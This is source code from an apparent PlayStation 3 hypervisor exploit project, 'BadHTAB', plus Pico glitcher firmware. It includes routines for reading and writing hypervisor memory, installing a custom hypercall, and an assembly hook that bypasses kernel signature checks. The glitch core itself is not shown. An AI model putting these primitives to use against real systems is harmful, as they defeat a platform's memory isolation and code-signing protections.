├── BadHTAB ├── source │ ├── Glitcher.h │ ├── LoadLv2Kernel.h │ ├── Utils.h │ ├── Logging.cpp │ ├── mm.h │ ├── Lv1Exec.h │ ├── Include.h │ ├── Logging.h │ ├── Lv1.h │ ├── Lv2.h │ ├── Utils.cpp │ ├── OurAsm.S │ ├── mm.cpp │ ├── Asm.S │ ├── LoadLv2Kernel.cpp │ ├── Xorhack.cpp │ ├── Lv1Exec.cpp │ ├── Lv2.cpp │ ├── Xorhack.h │ ├── Glitcher.cpp │ ├── Lv1.cpp │ ├── Main.cppold │ └── Main.cppold2 └── Makefile ├── ps3pulldown2 ├── build.sh └── ps3pulldown2 │ ├── CMakeLists.txt │ ├── include.h │ ├── usb_common.h │ └── usb_device.c └── README.md /BadHTAB/source/Glitcher.h: -------------------------------------------------------------------------------- 1 | extern void Glitcher_Init(); 2 | extern void Glitcher_Destroy(); 3 | 4 | extern void Glitcher_Start(); 5 | extern void Glitcher_Stop(); -------------------------------------------------------------------------------- /ps3pulldown2/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | export PICO_SDK_PATH=$PWD/pico_sdk 4 | 5 | cd ps3pulldown2 6 | 7 | #rm -rf build 8 | mkdir build 9 | 10 | cd build 11 | 12 | cmake .. 13 | 14 | make clean 15 | make ps3pulldown2 -j12 16 | -------------------------------------------------------------------------------- /BadHTAB/source/LoadLv2Kernel.h: -------------------------------------------------------------------------------- 1 | struct LoadLv2KernelType_e 2 | { 3 | public: 4 | static const uint32_t Self = 0; 5 | static const uint32_t Fself = 1; 6 | 7 | static const uint32_t OtherOS_Fself = 2; 8 | }; 9 | 10 | extern void LoadLv2Kernel(const char* fileName, uint32_t type); -------------------------------------------------------------------------------- /BadHTAB/source/Utils.h: -------------------------------------------------------------------------------- 1 | #define MUL_NS 1000000000 2 | #define MUL_US 1000000 3 | #define MUL_MS 1000 4 | 5 | extern uint64_t GetTimeInNs(); 6 | extern void WaitInNs(uint64_t ns); 7 | 8 | extern uint64_t GetTimeInUs(); 9 | extern void WaitInUs(uint64_t us); 10 | 11 | extern uint64_t GetTimeInMs(); 12 | extern void WaitInMs(uint64_t ms); 13 | 14 | extern void Sleep(uint32_t secs); 15 | 16 | extern bool IsFileExist(const char* path); 17 | 18 | extern bool FlashIsNor(); 19 | 20 | extern bool TargetIsCEX(); 21 | extern bool TargetIsDEX(); 22 | 23 | extern bool TargetIsDECR(); -------------------------------------------------------------------------------- /BadHTAB/source/Logging.cpp: -------------------------------------------------------------------------------- 1 | #include "Include.h" 2 | 3 | FILE *LoggingFile1 = NULL; 4 | FILE *LoggingFile2 = NULL; 5 | 6 | char printToFileBuf[64 * 1024]; 7 | 8 | void InitLogging() 9 | { 10 | LoggingFile1 = fopen("/app_home/BadHTAB.txt", "wb"); 11 | LoggingFile2 = fopen("/dev_hdd0/BadHTAB.txt", "wb"); 12 | } 13 | 14 | void DestroyLogging() 15 | { 16 | if (LoggingFile2 != NULL) 17 | { 18 | fflush(LoggingFile2); 19 | fclose(LoggingFile2); 20 | LoggingFile2 = NULL; 21 | } 22 | 23 | if (LoggingFile1 != NULL) 24 | { 25 | fflush(LoggingFile1); 26 | fclose(LoggingFile1); 27 | LoggingFile1 = NULL; 28 | } 29 | } -------------------------------------------------------------------------------- /BadHTAB/source/mm.h: -------------------------------------------------------------------------------- 1 | #define MM_EA2VA(ea) ((ea) & ~(1ULL << 63)) 2 | 3 | extern int32_t mm_insert_htab_entry(uint64_t vas_id, uint64_t va_addr, uint64_t lpar_addr, 4 | uint64_t page_shift, uint64_t vflags, uint64_t rflags, uint64_t *index); 5 | 6 | extern int32_t mm_map_lpar_memory_region(uint64_t vas_id, uint64_t va_start_addr, uint64_t lpar_start_addr, 7 | uint64_t size, uint64_t page_shift, uint64_t vflags, uint64_t rflags); 8 | 9 | extern void map_lpar_to_lv2_ea(uint64_t lpar_addr, uint64_t ea_addr, uint64_t size, bool readonly, bool exec); 10 | 11 | extern void map_physical_to_lv2_ea(uint64_t phys_addr, uint64_t ea_addr, uint64_t size, uint64_t *out_lpar_addr); 12 | extern void unmap_physical_to_lv2_ea(uint64_t lpar_addr); -------------------------------------------------------------------------------- /ps3pulldown2/ps3pulldown2/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.13) 2 | 3 | # initialize the SDK based on PICO_SDK_PATH 4 | # note: this must happen before project() 5 | include ($ENV{PICO_SDK_PATH}/external/pico_sdk_import.cmake) 6 | 7 | project(ps3pulldown2 CXX C ASM) 8 | set(CMAKE_C_STANDARD 11) 9 | set(CMAKE_CXX_STANDARD 17) 10 | 11 | # initialize the Raspberry Pi Pico SDK 12 | pico_sdk_init() 13 | 14 | # rest of your project 15 | 16 | add_executable(ps3pulldown2 17 | ps3pulldown2.c usb_device.c 18 | ) 19 | 20 | # Add pico_stdlib library which aggregates commonly used features 21 | target_link_libraries(ps3pulldown2 pico_stdlib hardware_resets hardware_irq pico_multicore pico_rand) 22 | 23 | # create map/bin/hex/uf2 file in addition to ELF. 24 | pico_add_extra_outputs(ps3pulldown2) -------------------------------------------------------------------------------- /BadHTAB/source/Lv1Exec.h: -------------------------------------------------------------------------------- 1 | extern uint64_t _our_hvcall_table_addr; 2 | extern uint64_t _our_hvcall_lpar_addr; 3 | 4 | extern uint64_t FindHvcallTable(); 5 | 6 | extern bool IsOurHvcallInstalled(); 7 | 8 | extern void InstallOurHvcall(); 9 | extern void UninstallOurHvcall(); 10 | 11 | struct CallLv1Exec_Context_s 12 | { 13 | public: 14 | uint64_t ra; 15 | uint64_t args[7]; 16 | 17 | uint64_t out[8]; 18 | }; 19 | 20 | extern void CallLv1Exec(CallLv1Exec_Context_s* ctx); 21 | 22 | struct CallLv1ExecEa_Context_s 23 | { 24 | public: 25 | uint64_t ea; 26 | uint64_t size; // size of function 27 | 28 | uint64_t args[7]; 29 | 30 | uint64_t out[8]; 31 | }; 32 | 33 | extern void CallLv1ExecEa(CallLv1ExecEa_Context_s* ctx); 34 | 35 | extern "C" 36 | { 37 | extern void our_lv1_exec_test_do(); 38 | extern uint64_t our_lv1_exec_test_do_size; 39 | 40 | extern void our_lv1_test_puts_do(); 41 | extern uint64_t our_lv1_test_puts_do_size; 42 | 43 | extern void our_lv1_auth_lv2_hook_fself_do(); 44 | extern uint64_t our_lv1_auth_lv2_hook_fself_do_size; 45 | }; 46 | 47 | extern void lv1_test_puts(); -------------------------------------------------------------------------------- /BadHTAB/source/Include.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | 10 | #include 11 | #include 12 | 13 | #include 14 | #include 15 | 16 | extern "C" 17 | { 18 | #include 19 | }; 20 | 21 | #include 22 | 23 | #include "Logging.h" 24 | #include "Utils.h" 25 | 26 | #include "Lv2.h" 27 | #include "Lv1.h" 28 | 29 | #include "Glitcher.h" 30 | 31 | #include "LoadLv2Kernel.h" 32 | 33 | #include "Lv1Exec.h" 34 | 35 | #include "Xorhack.h" 36 | 37 | #include "mm.h" 38 | 39 | extern uint64_t CalcHTAB_EA_Addr_By_HtabIdx(uint64_t base, uint32_t htab_idx); 40 | extern uint64_t CalcGameOSHTAB_EA_Addr_By_HtabIdx(uint32_t htab_idx); 41 | 42 | extern uint32_t FindFreeHTABIdx(); 43 | 44 | extern "C" 45 | { 46 | void testxxx(void); 47 | }; 48 | 49 | #define eieio() \ 50 | { \ 51 | asm volatile("eieio"); \ 52 | asm volatile("sync"); \ 53 | } 54 | #define isync() asm volatile("isync") 55 | 56 | extern double fwVersion; -------------------------------------------------------------------------------- /BadHTAB/source/Logging.h: -------------------------------------------------------------------------------- 1 | extern FILE *LoggingFile1; 2 | extern FILE *LoggingFile2; 3 | 4 | extern char printToFileBuf[64 * 1024]; 5 | 6 | #define PrintLog(...) \ 7 | { \ 8 | sprintf(printToFileBuf, __VA_ARGS__); \ 9 | printf(printToFileBuf); \ 10 | if (LoggingFile1 != NULL) \ 11 | { \ 12 | fwrite(printToFileBuf, 1, strlen(printToFileBuf), LoggingFile1); \ 13 | fflush(LoggingFile1); \ 14 | } \ 15 | if (LoggingFile2 != NULL) \ 16 | { \ 17 | fwrite(printToFileBuf, 1, strlen(printToFileBuf), LoggingFile2); \ 18 | fflush(LoggingFile2); \ 19 | } \ 20 | } 21 | 22 | extern void InitLogging(); 23 | extern void DestroyLogging(); -------------------------------------------------------------------------------- /ps3pulldown2/ps3pulldown2/include.h: -------------------------------------------------------------------------------- 1 | #define UART_ENABLED 1 2 | 3 | #define PULLDOWN1_ENABLED 1 4 | #define PULLDOWN2_ENABLED 1 5 | 6 | // no usb, always glitching 7 | //#define TEST_MODE_ENABLED 1 8 | 9 | //#define GLITCH_CORE_ENABLED 1 10 | 11 | #define SHUFFLE_ENABLED 1 12 | 13 | #include 14 | #include 15 | 16 | #include "pico/stdlib.h" 17 | #include "hardware/uart.h" 18 | #include "hardware/irq.h" 19 | #include "hardware/clocks.h" 20 | #include "hardware/vreg.h" 21 | #include "hardware/regs/usb.h" // USB hardware registers from pico-sdk 22 | #include "hardware/structs/usb.h" // USB hardware structs from pico-sdk 23 | #include "hardware/resets.h" // For resetting the native USB controller 24 | #include "hardware/watchdog.h" 25 | 26 | #include "hardware/gpio.h" 27 | #include "hardware/regs/io_bank0.h" 28 | 29 | #include "pico/multicore.h" 30 | #include "pico/rand.h" 31 | #include "pico/time.h" 32 | 33 | #include "usb_common.h" 34 | 35 | #define UART_ID uart0 36 | #define BAUD_RATE 115200 37 | #define DATA_BITS 8 38 | #define STOP_BITS 1 39 | #define PARITY UART_PARITY_NONE 40 | 41 | #define UART_TX_PIN 12 42 | 43 | #if UART_ENABLED 44 | extern char uartBuf[8192]; 45 | #define UartPrint(...) { sprintf(uartBuf, __VA_ARGS__); uart_puts(UART_ID, uartBuf); } 46 | #else 47 | #define UartPrint(...) (true) 48 | #endif 49 | 50 | //#define HDD_ACTIVITY_MONITOR 1 51 | 52 | //static inline int Uart0GetChar(void); 53 | void reset_ps3_sequence(void); 54 | -------------------------------------------------------------------------------- /BadHTAB/source/Lv1.h: -------------------------------------------------------------------------------- 1 | struct CallLv1Function_Context_s 2 | { 3 | uint64_t num; 4 | uint64_t args[7]; 5 | 6 | uint64_t out[8]; 7 | }; 8 | 9 | extern void CallLv1Function(CallLv1Function_Context_s *ctx); 10 | 11 | extern uint64_t lv1_peek_114(uint64_t addr); 12 | extern void lv1_poke_114(uint64_t addr, uint64_t val); 13 | 14 | extern void lv1_read_114(uint64_t addr, uint64_t size, void *out_Buf); 15 | extern void lv1_write_114(uint64_t addr, uint64_t size, const void *in_Buf); 16 | 17 | extern uint64_t lv1_peek(uint64_t addr); 18 | extern void lv1_poke(uint64_t addr, uint64_t val); 19 | 20 | extern void lv1_read(uint64_t addr, uint64_t size, void *out_Buf); 21 | extern void lv1_write(uint64_t addr, uint64_t size, const void *in_Buf); 22 | 23 | extern int32_t lv1_allocate_memory(uint64_t size, uint64_t page_size_exp, uint64_t unknown, uint64_t flags, uint64_t *out_lpar_addr, uint64_t *muid); 24 | extern int32_t lv1_release_memory(uint64_t lpar_addr); 25 | 26 | extern int32_t lv1_write_htab_entry(uint64_t vas_id, uint64_t slot, uint64_t va, uint64_t pa); 27 | 28 | extern int32_t lv1_insert_htab_entry(uint64_t vas_id, uint64_t hpte_group, uint64_t hpte_v, uint64_t hpte_r, uint64_t bolted, uint64_t flags, 29 | uint64_t *out_hpte_index, uint64_t *out_hpte_evicted_v, uint64_t *out_hpte_evicted_r); 30 | 31 | extern int32_t lv1_map_physical_address_region(uint64_t phys_addr, uint64_t page_size, uint64_t size, uint64_t *out_lpar_addr); 32 | extern int32_t lv1_unmap_physical_address_region(uint64_t lpar_addr); 33 | 34 | extern int32_t lv1_construct_virtual_address_space(uint64_t htab_size, uint64_t number_of_sizes, uint64_t page_sizes, uint64_t *vas_id, uint64_t *act_htab_size); 35 | extern int32_t lv1_destruct_virtual_address_space(uint64_t vas_id); 36 | 37 | extern int32_t lv1_select_virtual_address_space(uint64_t vas_id); 38 | 39 | extern int32_t lv1_map_htab(uint64_t vas_id, uint64_t *htab_addr); 40 | extern int32_t lv1_unmap_htab(uint64_t htab_addr); 41 | 42 | extern int32_t lv1_query_logical_partition_address_region_info(uint64_t lpar_addr, 43 | uint64_t *start_address, uint64_t *size, uint64_t *access_right, uint64_t *max_page_size, uint64_t *flags); 44 | 45 | extern int32_t lv1_get_virtual_address_space_id_of_ppe(uint64_t ppe_id, uint64_t *vas_id); 46 | 47 | extern int32_t lv1_get_logical_ppe_id(uint64_t *ppe_id); 48 | 49 | extern uint64_t lv1_repository_string(const char *str); 50 | 51 | extern int32_t lv1_modify_repository_node_value(uint64_t lpar_id, uint64_t n1, uint64_t n2, uint64_t n3, uint64_t n4, uint64_t v1, uint64_t v2); -------------------------------------------------------------------------------- /BadHTAB/source/Lv2.h: -------------------------------------------------------------------------------- 1 | extern uint64_t lv2_peek(uint64_t addr); 2 | extern void lv2_poke(uint64_t addr, uint64_t val); 3 | 4 | extern void lv2_read(uint64_t addr, uint64_t size, void *out_Buf); 5 | extern void lv2_write(uint64_t addr, uint64_t size, const void *in_Buf); 6 | 7 | extern uint64_t lv2_lv1_peek(uint64_t addr); 8 | extern void lv2_lv1_poke(uint64_t addr, uint64_t val); 9 | 10 | extern void lv2_lv1_read(uint64_t addr, uint64_t size, void *out_Buf); 11 | extern void lv2_lv1_write(uint64_t addr, uint64_t size, const void *in_Buf); 12 | 13 | extern void lv2_beep_single(); 14 | extern void lv2_beep_triple(); 15 | extern void lv2_beep_long(); 16 | 17 | extern int32_t lv2_storage_get_cache_of_flash_ext_flag(uint8_t* out_flag); 18 | 19 | extern int32_t lv2_dbg_get_console_type(uint64_t* out_type); 20 | 21 | extern int32_t lv2_sm_shutdown(uint16_t op, const void* lpar_parameter, uint64_t parameter_size); 22 | 23 | extern void lv2_shutdown(); 24 | 25 | extern void lv2_reboot_soft(); 26 | extern void lv2_reboot_hard(); 27 | 28 | extern void lv2_boot_otheros(); 29 | 30 | extern void lv2_boot_lv2_kernel(); 31 | 32 | struct CallLv2Function_Context_s 33 | { 34 | uint64_t addr; // function address 35 | uint64_t args[7]; 36 | 37 | uint64_t out[8]; 38 | }; 39 | 40 | extern void CallLv2Function(CallLv2Function_Context_s *ctx); 41 | 42 | extern "C" 43 | { 44 | void lv2_mfsprg0_do(); 45 | 46 | void lv2_slbie_do(); 47 | 48 | void lv2_slbmte_do(); 49 | 50 | void lv2_slbmfev_do(); 51 | void lv2_slbmfee_do(); 52 | 53 | void lv2_disable_interrupt_do(); 54 | void lv2_enable_interrupt_do(); 55 | 56 | void lv2_disable_enable_interrupt_do(); 57 | 58 | void lv2_write_lv1_rw_htabe_do(); 59 | 60 | void lv2_get_pir_do(); 61 | 62 | void lv2_glitcher_test_do(); 63 | 64 | void lv2_lv1_release_memory_intr_do(); 65 | }; 66 | 67 | extern uint64_t lv2_mfsprg0(); 68 | 69 | extern void lv2_slbie(uint64_t esid); 70 | 71 | extern void lv2_slbmte(uint64_t vsid, uint64_t esid); 72 | 73 | extern void lv2_slbmfev(uint64_t slb_index, uint64_t *out_vsid); 74 | extern void lv2_slbmfee(uint64_t slb_index, uint64_t *out_esid); 75 | 76 | extern void lv2_disable_interrupt(); 77 | extern void lv2_enable_interrupt(); 78 | 79 | extern void lv2_disable_enable_interrupt(); 80 | 81 | extern void lv2_write_lv1_rw_htabe(uint64_t old_vas_id, uint64_t new_vas_id); 82 | 83 | extern void lv2_get_pir(uint64_t *out_pir); 84 | 85 | extern void lv2_glitcher_test(uint64_t addr, uint64_t size, uint64_t *out_WriteCount); 86 | 87 | extern int32_t lv2_lv1_release_memory_intr(uint64_t lpar_addr); -------------------------------------------------------------------------------- /BadHTAB/source/Utils.cpp: -------------------------------------------------------------------------------- 1 | #include "Include.h" 2 | 3 | #define SYS_TIMEBASE_GET(tb) \ 4 | do \ 5 | { \ 6 | __asm__ volatile("1: mftb %[current_tb];" \ 7 | "cmpwi 7, %[current_tb], 0;" \ 8 | "beq- 7, 1b;" \ 9 | : [current_tb] "=r"(tb) : \ 10 | : "cr7"); \ 11 | } while (0) 12 | 13 | uint64_t my_timebase = sysGetTimebaseFrequency(); 14 | 15 | uint64_t GetTimeInNs() 16 | { 17 | uint64_t cur_tb_ns; 18 | SYS_TIMEBASE_GET(cur_tb_ns); 19 | 20 | cur_tb_ns *= MUL_NS; 21 | 22 | return (cur_tb_ns / my_timebase); 23 | } 24 | 25 | void WaitInNs(uint64_t ns) 26 | { 27 | uint64_t start = GetTimeInNs(); 28 | uint64_t end = start + ns; 29 | 30 | while (1) 31 | { 32 | uint64_t cur = GetTimeInNs(); 33 | 34 | if (cur >= end) 35 | return; 36 | } 37 | } 38 | 39 | uint64_t GetTimeInUs() 40 | { 41 | uint64_t cur_tb_us; 42 | SYS_TIMEBASE_GET(cur_tb_us); 43 | 44 | cur_tb_us *= MUL_US; 45 | 46 | return (cur_tb_us / my_timebase); 47 | } 48 | 49 | void WaitInUs(uint64_t us) 50 | { 51 | uint64_t start = GetTimeInUs(); 52 | uint64_t end = start + us; 53 | 54 | while (1) 55 | { 56 | uint64_t cur = GetTimeInUs(); 57 | 58 | if (cur >= end) 59 | return; 60 | } 61 | } 62 | 63 | uint64_t GetTimeInMs() 64 | { 65 | uint64_t cur_tb_ms; 66 | SYS_TIMEBASE_GET(cur_tb_ms); 67 | 68 | cur_tb_ms *= MUL_MS; 69 | 70 | return (cur_tb_ms / my_timebase); 71 | } 72 | 73 | void WaitInMs(uint64_t ms) 74 | { 75 | uint64_t start = GetTimeInMs(); 76 | uint64_t end = start + ms; 77 | 78 | while (1) 79 | { 80 | uint64_t cur = GetTimeInMs(); 81 | 82 | if (cur >= end) 83 | return; 84 | } 85 | } 86 | 87 | void Sleep(uint32_t secs) 88 | { 89 | sysSleep(secs); 90 | } 91 | 92 | bool IsFileExist(const char* path) 93 | { 94 | FILE* f = fopen(path, "rb"); 95 | 96 | if (f == NULL) 97 | return false; 98 | 99 | fclose(f); 100 | return true; 101 | } 102 | 103 | bool FlashIsNor() 104 | { 105 | uint8_t flag; 106 | 107 | int32_t res = lv2_storage_get_cache_of_flash_ext_flag(&flag); 108 | 109 | if (res != 0) 110 | { 111 | PrintLog("lv2_storage_get_cache_of_flash_ext_flag failed!, res = %d\n", res); 112 | 113 | abort(); 114 | return false; 115 | } 116 | 117 | return !(flag & 0x1); 118 | } 119 | 120 | bool TargetIsCEX() 121 | { 122 | uint64_t type; 123 | 124 | int32_t res = lv2_dbg_get_console_type(&type); 125 | 126 | if (res != 0) 127 | { 128 | PrintLog("lv2_dbg_get_console_type failed!, res = %d\n", res); 129 | 130 | abort(); 131 | return false; 132 | } 133 | 134 | return (type == 1); 135 | } 136 | 137 | bool TargetIsDEX() 138 | { 139 | uint64_t type; 140 | 141 | int32_t res = lv2_dbg_get_console_type(&type); 142 | 143 | if (res != 0) 144 | { 145 | PrintLog("lv2_dbg_get_console_type failed!, res = %d\n", res); 146 | 147 | abort(); 148 | return false; 149 | } 150 | 151 | return (type == 2); 152 | } 153 | 154 | bool TargetIsDECR() 155 | { 156 | uint64_t type; 157 | 158 | int32_t res = lv2_dbg_get_console_type(&type); 159 | 160 | if (res != 0) 161 | { 162 | PrintLog("lv2_dbg_get_console_type failed!, res = %d\n", res); 163 | 164 | abort(); 165 | return false; 166 | } 167 | 168 | return (type == 3); 169 | } -------------------------------------------------------------------------------- /BadHTAB/source/OurAsm.S: -------------------------------------------------------------------------------- 1 | .global our_lv1_peek_do 2 | 3 | // in: r3 = addr 4 | // out: r3 = value 5 | 6 | our_lv1_peek_do: 7 | ld %r3, 0(%r3) 8 | blr 9 | 10 | .global our_lv1_poke_do 11 | 12 | // in: r3 = addr, r4 = value 13 | // out: r3 = 0 14 | 15 | our_lv1_poke_do: 16 | std %r4, 0(%r3) 17 | li %r3, 0 18 | blr 19 | 20 | // in: r3-r8 = args, r9 = addr 21 | 22 | .global our_lv1_exec_do 23 | 24 | our_lv1_exec_do: 25 | 26 | // push 27 | addi %r1, %r1, -16 28 | 29 | mflr %r0 30 | std %r0, 0(%r1) 31 | 32 | mtctr %r9 33 | bctrl 34 | 35 | ld %r0, 0(%r1) 36 | mtlr %r0 37 | 38 | // pop 39 | addi %r1, %r1, 16 40 | 41 | blr 42 | 43 | // test 44 | // in: r9 = start addr of this function 45 | 46 | .global our_lv1_exec_test_do 47 | 48 | our_lv1_exec_test_do: 49 | li %r3, 0x39 50 | blr 51 | 52 | .global our_lv1_exec_test_do_size 53 | 54 | our_lv1_exec_test_do_size: 55 | .quad (our_lv1_exec_test_do_size - our_lv1_exec_test_do) 56 | 57 | // test puts 58 | // in: r9 = start addr of this function 59 | 60 | // puts = 0x2BA460 61 | 62 | .global our_lv1_test_puts_do 63 | 64 | our_lv1_test_puts_do: 65 | 66 | // push 67 | addi %r1, %r1, -512 68 | 69 | mflr %r0 70 | std %r0, 0(%r1) 71 | 72 | ld %r0, (our_lv1_test_puts_do_puts_addr - our_lv1_test_puts_do)(%r9) 73 | mtctr %r0 74 | 75 | mr %r3, %r9 76 | addi %r3, %r3, (our_lv1_test_puts_do_test_str - our_lv1_test_puts_do) 77 | 78 | bctrl 79 | 80 | ld %r0, 0(%r1) 81 | mtlr %r0 82 | 83 | // pop 84 | addi %r1, %r1, 512 85 | 86 | blr 87 | 88 | our_lv1_test_puts_do_test_str: 89 | .asciz "Hello from lv1_puts\n" 90 | 91 | .align 4 92 | 93 | our_lv1_test_puts_do_puts_addr: 94 | .quad 0x2BA460 95 | 96 | .global our_lv1_test_puts_do_size 97 | 98 | our_lv1_test_puts_do_size: 99 | .quad (our_lv1_test_puts_do_size - our_lv1_test_puts_do) 100 | 101 | // in: r3 = laid, r4 = dest, r5 = src 102 | // out: r3 = 0 on success 103 | 104 | // tmp: r6 = readSize, r7 = curReadSize, r8 = curSrcAddr, r9 = curDestAddr, r10 = tmp 105 | 106 | // lv2_kernel code starts from file offset ((file offset to data) + 0x10000) 107 | // src + 0x10 = file offset to data 108 | // src + 0x18 = data size 109 | 110 | .global our_lv1_auth_lv2_hook_fself_do 111 | 112 | our_lv1_auth_lv2_hook_fself_do: 113 | 114 | // load offsetToData 115 | ld %r10, 0x10(%r5) 116 | 117 | // load readSize 118 | ld %r6, 0x18(%r5) 119 | 120 | // readSize -= 0x10000 121 | addi %r6, %r6, -32768 122 | addi %r6, %r6, -32768 123 | 124 | // readSize &= 0xFFFFFFFFFFFFF000 125 | // use r8 and r7 as tmp 126 | 127 | // 0xFFF 128 | //li %r8, 0xFFF 129 | 130 | // 0xFFFFFFFFFFFFFFFF 131 | //li %r7, 0 132 | //addi %r7, %r7, -1 133 | 134 | // 0xFFFFFFFFFFFFF000 135 | //xor %r8, %r8, %r7 136 | 137 | // readSize &= 0xFFFFFFFFFFFFF000 138 | //and %r6, %r6, %r8 139 | 140 | // curSrcAddr = src 141 | mr %r8, %r5 142 | 143 | // curSrcAddr += offsetToData 144 | add %r8, %r8, %r10 145 | 146 | // curSrcAddr += 0x10000 147 | addi %r8, %r8, 32767 148 | addi %r8, %r8, 32767 149 | addi %r8, %r8, 2 150 | 151 | // curDestAddr = dest 152 | mr %r9, %r4 153 | 154 | // curReadSize = 0 155 | li %r7, 0 156 | 157 | loop: 158 | // load data from curSrcAddr to r10 159 | lbz %r10, 0(%r8) 160 | 161 | // store data from r10 to curDestAddr 162 | stb %r10, 0(%r9) 163 | 164 | // curReadSize += 1 165 | addi %r7, %r7, 1 166 | 167 | // curSrcAddr += 1 168 | addi %r8, %r8, 1 169 | 170 | // curDestAddr += 1 171 | addi %r9, %r9, 1 172 | 173 | // end loop if curReadSize == readSize 174 | cmp 0, 0, %r7, %r6 175 | beq end 176 | 177 | // otherwise, loop again 178 | b loop 179 | 180 | end: 181 | li %r3, 0 182 | blr 183 | 184 | .global our_lv1_auth_lv2_hook_fself_do_size 185 | 186 | our_lv1_auth_lv2_hook_fself_do_size: 187 | .quad (our_lv1_auth_lv2_hook_fself_do_size - our_lv1_auth_lv2_hook_fself_do) 188 | 189 | // our junk 190 | 191 | .global our_junk 192 | 193 | our_junk: 194 | addi %r28, %r3, 0x1000 -------------------------------------------------------------------------------- /BadHTAB/source/mm.cpp: -------------------------------------------------------------------------------- 1 | #include "Include.h" 2 | 3 | #define HTAB_HASH_MASK 0x7FFULL 4 | #define HPTES_PER_GROUP 8 5 | 6 | #define HPTE_V_AVPN_SHIFT 7 7 | #define HPTE_V_BOLTED 0x0000000000000010ULL 8 | #define HPTE_V_LARGE 0x0000000000000004ULL 9 | #define HPTE_V_VALID 0x0000000000000001ULL 10 | #define HPTE_V_FLAGS_MASK 0x000000000000007FULL 11 | 12 | #define HPTE_R_R 0x0000000000000100ULL 13 | #define HPTE_R_C 0x0000000000000080ULL 14 | #define HPTE_R_W 0x0000000000000040ULL 15 | #define HPTE_R_I 0x0000000000000020ULL 16 | #define HPTE_R_M 0x0000000000000010ULL 17 | #define HPTE_R_G 0x0000000000000008ULL 18 | #define HPTE_R_N 0x0000000000000004ULL 19 | #define HPTE_R_FLAGS_MASK 0x000000000000FFFFULL 20 | 21 | // #define PAGE_SIZES(_ps0, _ps1) (((uint64_t) (_ps0) << 56) | ((uint64_t) (_ps1) << 48)) 22 | #define PAGE_SIZE_4KB 12 23 | #define PAGE_SIZE_64KB 16 24 | #define PAGE_SIZE_1MB 20 25 | #define PAGE_SIZE_16MB 24 26 | 27 | int32_t mm_insert_htab_entry(uint64_t vas_id, uint64_t va_addr, uint64_t lpar_addr, 28 | uint64_t page_shift, uint64_t vflags, uint64_t rflags, uint64_t *index) 29 | { 30 | uint64_t hpte_group, hpte_index, hpte_v, hpte_r, hpte_evicted_v, hpte_evicted_r; 31 | int32_t result; 32 | 33 | hpte_group = (((va_addr >> 28) ^ ((va_addr & 0xFFFFFFFULL) >> page_shift)) & HTAB_HASH_MASK) * 34 | HPTES_PER_GROUP; 35 | 36 | hpte_v = ((va_addr >> 23) << HPTE_V_AVPN_SHIFT) | HPTE_V_VALID | (vflags & HPTE_V_FLAGS_MASK); 37 | 38 | if (page_shift != PAGE_SIZE_4KB) 39 | hpte_v |= HPTE_V_LARGE; 40 | 41 | hpte_r = (lpar_addr & ~((1ULL << page_shift) - 1)) | (rflags & HPTE_R_FLAGS_MASK); 42 | 43 | if (page_shift == PAGE_SIZE_1MB) 44 | hpte_r |= (1 << 12); 45 | 46 | result = lv1_insert_htab_entry(vas_id, hpte_group, hpte_v, hpte_r, HPTE_V_BOLTED, 0, 47 | &hpte_index, &hpte_evicted_v, &hpte_evicted_r); 48 | 49 | if (result != 0) 50 | return result; 51 | 52 | if (index != 0) 53 | *index = hpte_index; 54 | 55 | return 0; 56 | } 57 | 58 | int32_t mm_map_lpar_memory_region(uint64_t vas_id, uint64_t va_start_addr, uint64_t lpar_start_addr, 59 | uint64_t size, uint64_t page_shift, uint64_t vflags, uint64_t rflags) 60 | { 61 | int32_t result; 62 | 63 | uint64_t i; 64 | 65 | for (i = 0; i < (size >> page_shift); i++) 66 | { 67 | result = mm_insert_htab_entry(vas_id, va_start_addr, lpar_start_addr, 68 | page_shift, vflags, rflags, 0); 69 | 70 | if (result != 0) 71 | return result; 72 | 73 | va_start_addr += (1 << page_shift); 74 | lpar_start_addr += (1 << page_shift); 75 | } 76 | 77 | return 0; 78 | } 79 | 80 | void map_lpar_to_lv2_ea(uint64_t lpar_addr, uint64_t ea_addr, uint64_t size, bool readonly, bool exec) 81 | { 82 | int32_t res = -9999; 83 | 84 | uint64_t page_size = PAGE_SIZE_4KB; 85 | 86 | uint64_t rflags = readonly ? SPECIAL_RA_FLAGS_READONLY : SPECIAL_RA_FLAGS_READWRITE; 87 | 88 | if (exec) 89 | rflags &= ~HTABE_NOEXEC; 90 | else 91 | rflags |= HTABE_NOEXEC; 92 | 93 | res = mm_map_lpar_memory_region(0, MM_EA2VA(ea_addr), lpar_addr, size, page_size, 0, rflags); 94 | 95 | if (res != 0) 96 | { 97 | PrintLog("mm_map_lpar_memory_region failed! res = %d\n", res); 98 | abort(); 99 | } 100 | } 101 | 102 | void map_physical_to_lv2_ea(uint64_t phys_addr, uint64_t ea_addr, uint64_t size, uint64_t *out_lpar_addr) 103 | { 104 | int32_t res = -9999; 105 | 106 | uint64_t page_size = PAGE_SIZE_4KB; 107 | 108 | uint64_t lpar_addr; 109 | 110 | res = lv1_map_physical_address_region(phys_addr, page_size, size, &lpar_addr); 111 | 112 | if (res != 0) 113 | { 114 | PrintLog("lv1_map_physical_address_region failed! res = %d\n", res); 115 | abort(); 116 | } 117 | 118 | res = mm_map_lpar_memory_region(0, MM_EA2VA(ea_addr), lpar_addr, size, page_size, 0, 0); 119 | 120 | if (res != 0) 121 | { 122 | PrintLog("mm_map_lpar_memory_region failed! res = %d\n", res); 123 | abort(); 124 | } 125 | 126 | if (out_lpar_addr != NULL) 127 | *out_lpar_addr = lpar_addr; 128 | } 129 | 130 | void unmap_physical_to_lv2_ea(uint64_t lpar_addr) 131 | { 132 | int32_t res = -9999; 133 | 134 | res = lv1_unmap_physical_address_region(lpar_addr); 135 | 136 | if (res != 0) 137 | { 138 | PrintLog("lv1_unmap_physical_address_region failed! res = %d\n", res); 139 | abort(); 140 | } 141 | } -------------------------------------------------------------------------------- /BadHTAB/source/Asm.S: -------------------------------------------------------------------------------- 1 | .global lv2_mfsprg0_do 2 | 3 | lv2_mfsprg0_do: 4 | mfsprg0 4 5 | blr 6 | 7 | .global lv2_slbie_do 8 | 9 | lv2_slbie_do: 10 | slbie 3 11 | blr 12 | 13 | .global lv2_slbmte_do 14 | 15 | 